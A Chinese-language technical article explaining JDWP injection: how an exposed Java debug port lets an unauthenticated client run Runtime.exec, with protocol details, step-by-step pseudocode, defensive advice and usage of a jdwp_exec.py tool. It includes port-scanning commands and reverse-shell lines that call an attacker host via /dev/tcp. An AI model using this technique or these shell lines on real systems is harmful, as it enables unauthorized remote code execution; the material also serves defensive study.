JDWP 注入攻击详解

JDWP 注入攻击详解
1. 什么是 JDWP
JDWP(Java Debug Wire Protocol)是 Java 平台调试体系(JPDA)的底层通信协议,定义了调试器(Debugger)和被调试 JVM(Debuggee)之间的二进制通信格式。
JPDA 三层架构:
┌──────────────┐
│ JDI │ ← Java Debug Interface(高层 Java API)
├──────────────┤
│ JDWP │ ← Java Debug Wire Protocol(二进制传输协议)
├──────────────┤
│ JVMTI │ ← JVM Tool Interface(JVM 内部接口)
└──────────────┘
当 JVM 以调试模式启动时,它会监听一个 TCP 端口(或使用共享内存),等待调试器连接。任何能建立 TCP 连接的客户端都可以通过 JDWP 协议与 JVM 交互——协议本身没有任何认证机制。
启动调试模式的 JVM 参数
# JDK 5-8
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar app.jar
# JDK 9+(默认仅监听 localhost)
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar app.jar
关键参数说明:
| 参数 | 说明 |
|---|---|
transport=dt_socket |
使用 TCP socket 传输 |
server=y |
JVM 作为服务端等待连接 |
suspend=n |
启动后不暂停,继续运行 |
address=5005 |
监听端口 |
2. 攻击面分析
2.1 为什么 JDWP 暴露是高危的
- 零认证:JDWP 协议没有用户名/密码、Token、证书等任何认证机制
- 完全控制:连接后可以执行任意 Java 代码,等同于获得 JVM 进程的完全控制权
- 跨平台:只要 JVM 支持 JDWP,攻击方法在 Windows/Linux/macOS 上通用
- 常见暴露场景:
- 开发/测试环境忘记关闭调试端口
- 容器化部署时调试参数被打包进镜像
- 运维排查问题后忘记移除调试参数
2.2 发现 JDWP 服务
JDWP 服务可以通过简单的端口扫描发现。握手字符串 JDWP-Handshake 是固定的,可作为指纹:
# 使用 nmap 扫描
nmap -sV -p 5005,8000,8787 target_host
# 手动验证
echo "JDWP-Handshake" | nc -w 3 target_host 5005
# 如果返回 "JDWP-Handshake",说明是 JDWP 服务
常见的 JDWP 默认端口:5005、8000、8787、5050
3. JDWP 协议基础
3.1 握手
JDWP 通信以一个固定的握手开始——双方互发 ASCII 字符串 JDWP-Handshake(14 字节):
Client → Server: JDWP-Handshake
Server → Client: JDWP-Handshake
握手成功后进入命令/回复模式。
3.2 数据包格式
JDWP 使用大端序(Big-Endian)的二进制协议。有两种数据包:
命令包(Command Packet)——调试器发给 JVM 或 JVM 主动发送事件:
┌─────────┬─────────┬───────┬─────────┬─────┬──────┐
│ length │ id │ flags │ cmdSet │ cmd │ data │
│ 4字节 │ 4字节 │ 1字节 │ 1字节 │ 1字节 │ 可变 │
└─────────┴─────────┴───────┴─────────┴─────┴──────┘
回复包(Reply Packet)——JVM 对命令的响应:
┌─────────┬─────────┬───────┬───────────┬──────┐
│ length │ id │ flags │ errorCode │ data │
│ 4字节 │ 4字节 │ 0x80 │ 2字节 │ 可变 │
└─────────┴─────────┴───────┴───────────┴──────┘
length:整个包的总长度(含自身的 4 字节)id:包标识符,回复包的 id 与对应命令包相同flags:0x00 表示命令包,0x80 表示回复包errorCode:0 表示成功,非零表示错误码
3.3 核心命令集
JDWP 定义了多个命令集(Command Set),注入攻击主要用到以下命令:
| 命令集 | 编号 | 命令 | 编号 | 作用 |
|---|---|---|---|---|
| VirtualMachine | 1 | IDSizes | 7 | 获取协议中各种 ID 的字节大小 |
| VirtualMachine | 1 | Suspend | 8 | 挂起所有线程 |
| VirtualMachine | 1 | Resume | 9 | 恢复所有线程 |
| VirtualMachine | 1 | CreateString | 11 | 在 JVM 堆中创建字符串对象 |
| VirtualMachine | 1 | ClassesBySignature | 2 | 按签名查找类 |
| ReferenceType | 2 | Methods | 5 | 获取类的方法列表 |
| ClassType | 3 | InvokeMethod | 3 | 调用静态方法 |
| ArrayType | 4 | NewInstance | 1 | 创建数组实例(用于构造 String[]) |
| ObjectReference | 9 | InvokeMethod | 6 | 调用实例方法 |
| StringReference | 10 | Value | 1 | 读取字符串对象的内容 |
| ThreadReference | 11 | Name | 1 | 获取线程名 |
| ThreadReference | 11 | Status | 4 | 获取线程状态 |
| ThreadReference | 11 | Frames | 6 | 获取线程栈帧(断点方案使用) |
| ThreadReference | 11 | Interrupt | 11 | 中断线程(断点方案使用) |
| ArrayReference | 13 | Length | 1 | 获取数组长度 |
| ArrayReference | 13 | GetValues | 2 | 读取数组元素 |
| ArrayReference | 13 | SetValues | 3 | 设置数组元素(填充 String[]) |
| EventRequest | 15 | Set | 1 | 注册事件 |
| EventRequest | 15 | Clear | 2 | 清除事件 |
3.4 ID 大小
JDWP 中的各种 ID(objectID、referenceTypeID、methodID 等)的字节大小不是固定的,取决于 JVM 实现。连接后必须先调用 VirtualMachine.IDSizes (1,7) 获取:
响应:
fieldIDSize (4B) → 通常 8
methodIDSize (4B) → 通常 8
objectIDSize (4B) → 通常 8
referenceTypeIDSize(4B) → 通常 8
frameIDSize (4B) → 通常 8
后续所有命令中涉及这些 ID 的编解码都必须使用正确的大小。
3.5 Tagged Value
JDWP 在很多场景使用 tagged-value 编码,即在值前面加一个类型标签字节:
tagged-value = tag(1B) + value
常用 tag:
'L' (76) = 对象引用 → value = objectID
's' (115) = 字符串引用 → value = objectID
'[' (91) = 数组引用 → value = objectID
'I' (73) = int → value = 4字节有符号整数
'J' (74) = long → value = 8字节有符号整数
'B' (66) = byte → value = 1字节
'V' (86) = void → 无 value
4. 注入原理详解
4.1 核心目标
在目标 JVM 中调用 Runtime.getRuntime().exec(String[]) 执行操作系统命令。
为什么使用 exec(String[]) 而非 exec(String):
Runtime.exec(String) 内部按空格拆分参数,无法正确处理带空格的参数。例如反弹 Shell 命令 bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" 会被错误拆分为多个参数,导致执行失败。
Runtime.exec(String[]) 接收参数数组,每个数组元素就是一个独立的参数,不会被二次拆分。通过 JDWP 构造 String[] 数组需要额外使用 ArrayType.NewInstance 和 ArrayReference.SetValues 命令。
4.2 关键约束:事件挂起线程
JDWP 的 InvokeMethod 命令有一个严格要求:
目标线程必须处于「被事件挂起」(event-suspended)状态。
这意味着线程必须因为调试事件(断点、单步、异常)而被暂停。仅通过 VM.Suspend 命令挂起的线程不能用于 InvokeMethod。
这是注入攻击的核心难点。解决方案是主动制造一个调试事件来获取事件挂起的线程。
4.3 SINGLE_STEP 事件方案(主方案)
本方案的策略是利用 SINGLE_STEP(单步执行)事件:
时间线
──────────────────────────────────────────────────────>
1. VM.Suspend → 冻结所有线程
2. 枚举线程 → 找到一个在 Thread.sleep() 中的线程
3. EventRequest.Set → 注册 SINGLE_STEP 事件到该线程
4. VM.Resume → 恢复所有线程
... sleep() 倒计时中 ...
5. sleep() 到期 → 线程从 native 方法返回
6. 执行下一条字节码 → 触发 SINGLE_STEP 事件
7. JVM 自动挂起线程 → 通知调试器
8. 调试器收到事件 → 获得一个「事件挂起」的线程!
9. InvokeMethod → 在该线程上调用 Runtime.exec(String[])
如果 InvokeMethod 失败(Error 502)...
10. 自动降级 → 切换到断点方案,使用不同线程
为什么选择 SLEEPING 的线程?
Thread.sleep()是 native 方法,JVM 在底层执行- sleep 有确定的到期时间,线程会自然醒来
- 醒来后执行的第一条字节码指令会触发 SINGLE_STEP
- 不需要干预目标程序的正常运行
4.4 断点方案(自动降级备选)
当 SINGLE_STEP 方案失败时(事件超时或目标线程有残留调试状态),脚本自动切换到断点方案:
- 挂起 VM,遍历所有非系统线程的栈帧
- 找到一个非 native 的字节码位置(
index != 0xFFFFFFFFFFFFFFFF) - 在该位置设置断点(
EventRequest.Set,eventKind=BREAKPOINT) - 恢复 VM,中断线程(
Thread.interrupt()),使其从 native 等待中返回 - 线程返回后命中断点,进入事件挂起状态
- 如果 InvokeMethod 仍因 Error 502 失败,跳过该线程,尝试下一个
注意:interrupt() 会使线程抛出 InterruptedException。如果目标应用捕获该异常后退出,可能会导致服务中断。在 Spring Boot/Tomcat 应用中,Catalina-utility 线程通常是安全的断点目标。
5. 攻击步骤详解
Step 1: 连接与握手
sock.connect((host, port))
sock.sendall(b"JDWP-Handshake")
resp = sock.recv(14) # 应该收到 "JDWP-Handshake"
Step 2: 获取 ID 大小
# 发送 IDSizes 命令 (1, 7)
# 解析响应获取各 ID 的字节大小
# 后续所有命令都依赖这些大小
Step 3: 挂起 VM 并枚举线程
# VM.Suspend (1, 8) → 冻结所有线程
# VM.AllThreads (1, 4) → 获取线程 ID 列表
# 对每个线程:
# ThreadReference.Name (11, 1) → 获取线程名
# ThreadReference.Status (11, 4) → 获取线程状态
线程选择策略(多轮遍历,按优先级):
- SLEEPING 线程优先——必然会自然醒来(如 Tomcat 的
container-0) - WAIT 线程次之——可能需要外部唤醒(如
Catalina-utility、http-nio-exec) - RUNNING 线程最后——可能在 native 代码中
- 过滤系统线程——维护黑名单,跳过
Reference Handler、Finalizer、Signal Dispatcher、Common-Cleaner、DestroyJavaVM、Attach Listener、Notification Thread等 JVM 内部线程 - 每级内部优先选名称含 “main” 的线程——简单应用的主循环通常在 main 线程
Step 4: 设置 SINGLE_STEP 事件
# EventRequest.Set (15, 1)
# eventKind = SINGLE_STEP (1)
# suspendPolicy = EVENT_THREAD (1) → 仅挂起触发线程
# modifiers:
# modKind = Step (10)
# threadID = 目标线程
# size = STEP_MIN (0) → 最小步进
# depth = STEP_INTO (0) → 步入方法
Step 5: 恢复 VM 并等待事件
# VM.Resume (1, 9)
# 等待 JVM 发来事件包...
# 事件包格式:
# suspendPolicy(1B) + eventCount(4B) +
# [eventKind(1B) + requestID(4B) + threadID + location]
Step 6: 清除事件并执行命令
关键:必须在 InvokeMethod 之前清除事件请求!
如果不清除,每次 InvokeMethod 内部恢复线程执行方法时,都会触发新的 SINGLE_STEP 事件,导致线程挂起计数叠加,最终 InvokeMethod 超时。
# EventRequest.Clear (15, 2) → 清除 SINGLE_STEP 事件
# 查找 Runtime 类
# ClassesBySignature (1, 2) → "Ljava/lang/Runtime;"
# Methods (2, 5) → 找到 getRuntime() 和 exec(String[])
# 调用 Runtime.getRuntime()
# ClassType.InvokeMethod (3, 3) → 静态方法调用
# 返回 Runtime 单例对象
# 构造 String[] 参数数组(在 getRuntime() 成功后再创建)
# ClassesBySignature (1, 2) → "[Ljava/lang/String;" 获取数组类型
# ArrayType.NewInstance (4, 1) → 创建空 String[] 数组
# CreateString (1, 11) × N → 为每个参数创建字符串对象
# ArrayReference.SetValues (13, 3) → 将字符串填充到数组中
# 调用 runtime.exec(String[])
# ObjectReference.InvokeMethod (9, 6) → 实例方法调用
# 参数: tagged-array 格式的 String[] 引用
# 返回 Process 对象
为什么在 getRuntime() 之后才创建 String[] 参数?
ArrayType.NewInstance / SetValues 等操作会改变 JVM 内部状态。将这些操作放在两次 InvokeMethod 之间,避免在首次 invoke 前引入状态变化。
Step 7: 读取命令输出
# process.waitFor() → 等待命令执行完毕,获取退出码
# process.getInputStream() → 获取标准输出流
# 方案A: 批量读取(Java 9+,推荐,自动首选)
# inputStream.readAllBytes() → 返回 byte[] 对象
# ArrayReference.Length (13, 1) → 获取数组长度
# ArrayReference.GetValues (13, 2) → 一次性读取所有字节
# 仅需 3 次 JDWP 往返
# 方案B: 逐字节读取(自动降级方案)
# inputStream.available() → 获取可读字节数,避免在空流上阻塞
# 循环调用 inputStream.read() → 每次返回一个字节
# 每 256 字节检查一次 available(),及时停止
# 需要 N 次 JDWP 往返(N = 输出字节数)
异常处理:InvokeMethod 返回的异常不再只是一个 objectID,脚本通过调用 Throwable.toString()(使用 StringReference.Value 读取字符串内容)获取可读的异常描述信息。
6. 实战中的关键问题与解决方案
6.1 Native 方法不能设断点
问题:Thread.sleep() 是 native 方法,没有字节码,设置断点会报 INVALID_LOCATION (Error 24)。
解决:使用 SINGLE_STEP 事件代替断点。SINGLE_STEP 在 native 方法返回后的第一条字节码指令处触发。
6.2 VM.Suspend vs 事件挂起
问题:直接用 VM.Suspend 挂起的线程不能用于 InvokeMethod,调用会报错或超时。
解决:必须通过调试事件(断点/单步/异常)获取线程。这是 JDWP 协议的设计限制。
6.3 挂起计数叠加
问题:如果事件请求没有清除,InvokeMethod 执行期间会触发新的事件,线程的挂起计数 (suspend count) 不断累加。当 InvokeMethod 完成后尝试恢复线程时,需要多次 resume 才能真正恢复,导致超时。
解决:收到第一个事件后立即清除事件请求,然后再调用 InvokeMethod。
6.4 线程选择——系统线程的陷阱
问题:JVM 内部系统线程(如 Reference Handler、Finalizer)可能在 native 代码中运行,没有可步进的 Java 栈帧,设置 SINGLE_STEP 会返回 THREAD_NOT_SUSPENDED (Error 13)。
解决:维护系统线程黑名单(Reference Handler、Finalizer、Signal Dispatcher、Common-Cleaner、DestroyJavaVM、Attach Listener、Notification Thread),采用多轮遍历策略:先找 SLEEPING 线程,再找 WAIT 线程,最后 RUNNING 线程。每轮内部优先选非系统线程。在 Spring Boot/Tomcat 应用中,SLEEPING 的 container-0(ContainerBackgroundProcessor,约 10 秒 sleep 周期)是首选,Catalina-utility 是可靠的断点备选。
6.5 Sleep 时间差异
问题:不同应用的 sleep 周期不同。简单测试程序可能是 1 秒,Tomcat 的 ContainerBackgroundProcessor 默认 10 秒。如果等待超时设置太短,会错过事件。
解决:将事件等待超时设置为 15 秒以上,覆盖大多数应用场景。
6.6 INVOKE_SINGLE_THREADED 的陷阱
问题:InvokeMethod 的 options 参数有 INVOKE_SINGLE_THREADED(0x01)选项,表示只恢复目标线程执行方法。在某些 JDK 版本中,这会导致内部锁等待,方法调用永远无法完成。
解决:使用 options=0(恢复所有线程),让 JVM 内部的锁竞争自然解决。
6.7 InvokeMethod 返回值中的异常字段
问题:InvokeMethod 的响应中,异常字段是 tagged-objectID 格式(1 字节 tag + objectID),而不是裸 objectID。如果漏掉 tag 字节,解析会偏移,把正常的返回值误判为异常。
解决:解析时先跳过 1 字节的 tag,再读取 objectID:
offset += 1 # 跳过 tag 字节
exc_id = parse_id(objectIDSize, resp, offset)
6.8 CreateString 的命令号混淆
问题:JDWP 命令集 1 (VirtualMachine) 中有很多命令,CreateString 的正确编号是 (1, 11),容易和 DisposeObjects (1, 14) 等混淆。
解决:严格对照 JDWP 规范文档,逐一核对命令编号。
6.9 ALREADY_INVOKING (Error 502)
问题:如果前一次调试连接在 InvokeMethod 执行过程中断开(网络中断、脚本崩溃等),JVM 可能不会清理目标线程的 invoke_in_progress 标志。后续连接在同一线程上调用 InvokeMethod 时,JVM 返回 Error 502(ALREADY_INVOKING),认为该线程已有活跃的 invoke 操作。此错误在长时间运行的 JVM(如生产环境的 Spring Boot 应用)上尤为常见。
解决:
- 检测到 Error 502 后,自动放弃当前线程
- 切换到断点方案,在另一个线程上获取事件挂起状态
- 如果新线程也返回 502,继续尝试下一个线程
- 如果所有线程均失败,需要重启 JVM 来清除残留状态
# 伪代码
try:
invoke_static(getRuntime, thread_id=step_thread)
except ALREADY_INVOKING:
resume_vm()
# 使用断点方案在不同线程上重试
breakpoint_approach(skip_threads={step_thread})
6.10 回复包 ID 不匹配
问题:JDWP 协议中,事件包(JVM 主动推送)和回复包(对命令的响应)混合到达。如果没有正确区分,可能把事件包的数据当作命令的回复来解析,导致后续所有操作偏移出错。
解决:
- 发送命令时记录 packet ID
- 接收回复时校验 packet ID 是否匹配
- 收到的非回复包(flags ≠ 0x80)暂存到事件队列,不与命令回复混淆
sent_id = send_command(cmd)
pkt_id, error, data = recv_reply()
if pkt_id != sent_id:
raise Exception(f"Reply ID mismatch: sent={sent_id}, got={pkt_id}")
6.11 exec(String) 参数拆分问题
问题:Runtime.exec(String) 内部按空格拆分参数。命令 bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" 会被拆分为多个参数:["bash", "-c", "\"bash", "-i", ">&", ...],导致执行失败。
解决:使用 Runtime.exec(String[]) 方法,通过 JDWP 在 JVM 中构造 String[] 数组:
# 1. 查找 String[] 数组类型
ClassesBySignature("[Ljava/lang/String;") → arr_type_id
# 2. 创建空数组
ArrayType.NewInstance(arr_type_id, len) → arr_id
# 3. 为每个参数创建字符串对象
CreateString("bash") → str_id_0
CreateString("-c") → str_id_1
CreateString("bash -i >& /dev/tcp/...") → str_id_2 # 完整保留,不拆分
# 4. 填充数组
ArrayReference.SetValues(arr_id, 0, count, [str_id_0, str_id_1, str_id_2])
# 5. 调用 exec(String[]),传入 tagged-array 格式参数
InvokeMethod(runtime_obj, exec_method, args=[TAG_ARRAY + arr_id])
7. 完整攻击流程图
┌─────────────────────────────────────────────────────────────┐
│ 攻击者 (Python Client) │
└───────────────────────────┬─────────────────────────────────┘
│
1. TCP Connect
2. "JDWP-Handshake" ↔ "JDWP-Handshake"
│
3. IDSizes (1,7)
│
4. VM.Suspend (1,8)
5. AllThreads (1,4)
6. ThreadName/Status → 多轮选择:
SLEEPING > WAIT > RUNNING (过滤系统线程)
│
7. EventRequest.Set (15,1)
→ SINGLE_STEP on selected thread
│
8. VM.Resume (1,9)
│
┌────┴────┐
│ 等待... │ ← sleep() 倒计时 (最长 15 秒)
└────┬────┘
│
9. ← 收到 SINGLE_STEP 事件
10. EventRequest.Clear (15,2)
│
11. ClassesBySignature → "Ljava/lang/Runtime;"
12. Methods → getRuntime(), exec(String[])
│
13. InvokeStatic → Runtime.getRuntime()
│
┌────┴────┐ 如果 Error 502
│ 降级? │→ 切换到断点方案 + 不同线程
└────┬────┘
│
14. ClassesBySignature → "[Ljava/lang/String;"
15. ArrayType.NewInstance → 创建 String[]
16. CreateString × N → 创建每个参数字符串
17. ArrayReference.SetValues → 填充数组
│
18. InvokeMethod → runtime.exec(String[])
│
19. InvokeMethod → process.waitFor()
20. InvokeMethod → process.getInputStream()
21. InvokeMethod → inputStream.readAllBytes()
22. ArrayReference.GetValues → 读取 byte[] 内容
│
23. VM.Resume (1,9)
24. 断开连接
│
┌─────┴─────┐
│ 输出结果 │
│ mac │
└───────────┘
8. 防御建议
8.1 禁止在生产环境开启 JDWP
最根本的防御措施。检查 JVM 启动参数中是否包含 -agentlib:jdwp 或 -Xdebug:
# 检查正在运行的 Java 进程
ps aux | grep java | grep -E '(jdwp|Xdebug)'
# 或通过 /proc 检查
cat /proc/<pid>/cmdline | tr '\0' ' ' | grep jdwp
8.2 限制监听地址
JDK 9+ 默认 JDWP 仅监听 localhost,但 JDK 8 及更早版本默认监听所有接口。如果必须开启调试:
# 仅监听 localhost
-agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:5005
8.3 网络层隔离
- 使用防火墙规则限制调试端口的访问
- 在容器环境中不暴露调试端口
- 使用 SSH 隧道进行远程调试
# 通过 SSH 隧道安全调试
ssh -L 5005:localhost:5005 user@remote_host
8.4 安全扫描
定期扫描网络中暴露的 JDWP 服务:
nmap -p 5005,8000,8787 --script=jdwp-info <target_range>
8.5 容器安全
# 不要在 Dockerfile 中硬编码调试参数
# 错误示例:
ENV JAVA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005"
# 正确做法: 调试参数通过环境变量注入,且默认关闭
ENV JAVA_OPTS=""
8.6 运行时检测
监控异常的 JDWP 连接行为:
- JVM 进程突然收到调试器连接
- 短时间内大量 InvokeMethod 调用
- 通过
Runtime.exec()产生的子进程
9. 相关工具
| 工具 | 说明 |
|---|---|
jdb |
JDK 自带的命令行调试器 |
jdwp-shellifier |
开源 JDWP 漏洞利用工具(仅支持 exec(String)) |
nmap jdwp-info |
Nmap 的 JDWP 服务探测脚本 |
本文脚本 jdwp_exec.py |
基于 Python 的 JDWP 命令执行工具,支持 exec(String[]) |
jdwp_exec.py 相比其他工具的改进:
exec(String[])参数传递:通过 JDWP 构造 String[] 数组,正确处理带空格的参数(如反弹 Shell 命令)- 双方案自动降级:SINGLE_STEP → 断点方案,Error 502 自动切换线程
- 批量输出读取:readAllBytes + ArrayReference.GetValues(Java 9+),降级到逐字节读取
- 异常消息解析:通过 Throwable.toString() 显示可读的异常描述
- 回复包 ID 校验:防止事件包/回复包混淆导致的解析错误
- 类/方法缓存:避免重复的 ClassesBySignature 和 Methods 查询
10. 总结
JDWP 注入的本质是利用 Java 调试协议的设计特性——无认证 + 任意方法调用——来实现远程代码执行。攻击的核心难点在于获取一个「事件挂起」状态的线程,这需要理解 JDWP 的事件机制和线程挂起模型。
关键要点:
- JDWP 无认证,连接即可完全控制 JVM
- InvokeMethod 需要事件挂起的线程,不能用 VM.Suspend
- SINGLE_STEP 事件是获取事件挂起线程的首选方式,失败时自动降级到断点方案
- 线程选择很关键——多轮遍历(SLEEPING > WAIT > RUNNING),维护系统线程黑名单
- 事件请求必须及时清除,否则挂起计数叠加导致超时
- 使用
exec(String[])而非exec(String)——正确处理带空格的参数,支持反弹 Shell 等复杂命令 - Error 502 (ALREADY_INVOKING) 是长时间运行 JVM 的常见问题,需自动切换线程重试
- 批量读取(readAllBytes + ArrayReference)比逐字节读取快几个数量级
- 回复包 ID 校验防止事件包/回复包混淆
- 最有效的防御是不在生产环境开启 JDWP
用法示例:
# 简单命令
python3 jdwp_exec.py 127.0.0.1 5005 id
# 带参数命令
python3 jdwp_exec.py 127.0.0.1 5005 ls -al /tmp
# 反弹 Shell(参数包含空格和特殊字符,exec(String[]) 正确处理)
python3 jdwp_exec.py 目标IP 5005 /bin/bash -c "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)